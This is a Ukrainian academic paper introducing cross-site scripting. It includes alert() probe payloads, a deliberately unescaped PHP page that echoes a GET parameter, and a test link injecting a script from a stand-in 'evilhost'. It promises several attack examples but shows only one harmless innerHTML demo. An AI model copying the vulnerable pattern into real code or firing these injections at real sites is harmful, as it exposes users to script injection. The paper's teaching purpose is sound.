Современные информационные технологии.

Информационная безопасность.

Юдін О.К., Гусєв М.А.

Національний Авіаційний Університет, Україна

Міжсайтовий скриптінг XSS по протоколу HTTP.

Вступ

XSS (англ. Сross Site Sсriрting - «міжсайтовий скриптінг») - тип вразливості інтерактивних інформаційних систем у вебі. XSS виникає, коли в сторінки, що генеруються сервером, з якоїсь причини потрапляють скрипти користувача. Специфіка подібних атак полягає в тому, що замість безпосередньої атаки сервера вони використовують вразливий сервер в якості засобу атаки на клієнта.

Зараз XSS складають близько 15% всіх виявлених вразливостей. Довгий час програмісти не приділяли їм належної уваги, вважаючи їх безпечними. Однак ця думка помилкова: на сторінці або в HTTP-Cookie можуть бути досить вразливі дані (наприклад, ідентифікатор сесії адміністратора). На популярному сайті скрипт можна навіть влаштувати DoS-атакy.

 

 

 



Бувають пасивні XSS і активні XSS.

Пасивні - це XSS, які вимагають від жертви безпосередньої участі, до того ж є специфічні обмеження і складності. Тому, пасивні XSS не дуже цінуються. Наприклад, потрібно змусити її пройти по шкідливої ??посиланню, що потребують соціальної інженерії, хитрості.

Активні - це XSS, які, не вимагають ніяких додаткових дій з боку жертви - їй досить лише відкрити сторінку з вашим XSS і JavaScript-код виконається автоматично. Завдяки своїй автоматизированности - вони дуже корисні і цінні. Наприклад, активні XSS існують в BB-тегах через недостатню фільтрації, коли ви залишаєте повідомлення на форумі\гостьовій книзі\чаті, яке буде завжди активно при кожному оновленні.

Виявлення XXS-вразливостей

Виявлення наявності поганої фільтрації значень від користувача зводитися до введення в усі поля контрольного JavaScript-коду, який виводить довільне повідомлення:

<script>alert()</script>

або

         "><script>alert()</script>

Якщо вийшло повідомлення значить скрипт обробився і виконався ... А значить ми можемо вставляти довільний JavaScript-код на сторінку, що бу-дет запускатися у всіх користувачів які зайшли на неї.

У даній статті я на практиці розгляну кілька прикладів використання XSS-вразливостей. Чим і спробую Вам довести що XSS це важлива уразливість.

Дані приклади здійсненні і за допомогою активної (збереженої) XSS, але ми будемо використовувати пасивну XSS-атаку (крім випадку з Flash!), Для економії часу. Так само треба сказати про те, що нам доведеться працювати з дописуванням певного коду в сторінку. Метод document.write () нам для цього не підійде через деяких його особливостей. Для здійснення всіх наших ідей ми будемо користуватися тегом iframe і властивістю innerHTML. У деяких читачів вже напевно з'явилися думки типу "Зараз почнуться болісні пояснення". Цього не буде. Насправді працювати з тим же innerHTML дуже легко. Як їх використовувати - буде описано нижче, відразу на прикладах.

Для експериментів нам потрібно створити 2 хоста:

·        clientsite – сайт який буде відвідувати користувач, якого атакують. Даний сайт буде страждати XSS-вразливістю.

·        evilhost – наш сайт де буде розташовуватися весь шкідливий код.

Зараз потрібно написати скрипт який буде страждати XSS-вразливістю. Ми напишемо скрипт, який буде містити код форми, і один div-елемент з id – «main_div»:

<?php print "<form action=form.php method=POST>

         <input type=text name="first_field">

         <input type=text name="second_field">

         <input type=submit value="Отправить">

</form>

<div name="main_div" id="main_div">our test form</div>

".$_GET['word']."; ?>

Назвемо його index.php і помістимо в корінь хоста clientsite (/home/clientsite/www/). Так само створіть порожній скрипт xss_code.js і помістіть його в корінь evilhost.

Ось тут ми почнемо користуватись innerHTML. innerHTML - властивість DOM (Document Object Model) елементів. Ця властивість дозволяє без проблем включити до складу елемента будь-який код в необмеженій кількості. Нижче ми розберемо приклад включення в документ звичайного тексту. Це завдання буде виконувати функція InsertText (). Ось її код:

InsertText(); // Код функції

function InsertText(){

    var our_text=" - innerHTML in action!";

    var element=document.getElementById("main_div");

    element.innerHTML+=our_text;

}

Для перевірки працездатності коду пройдіть за посиланням:

http://clientsite/index.php?word=<script src=http://evilhost/xss_code.js></script>

Висновки

Не дивлячись на те, що для боротьби з даним типом вразливостей випущено безліч програм і модулів для веб-серверів, XSS-діри все ще займають значний відсоток реалізованих атак на сучасні сайти. Тому на плечі розробників лягати відповідальність при створенні безпечного коду.

Література

1.     Seth F., Jeremiah G. XSS Attacks: Cross Site Scripting Exploits and Defense. –Syngress, 2011. – 480 с.

2.     Стюарт М. Секреты хакеров. Безопасность сетей. – СПб.: Питер, 2011. – 651 с.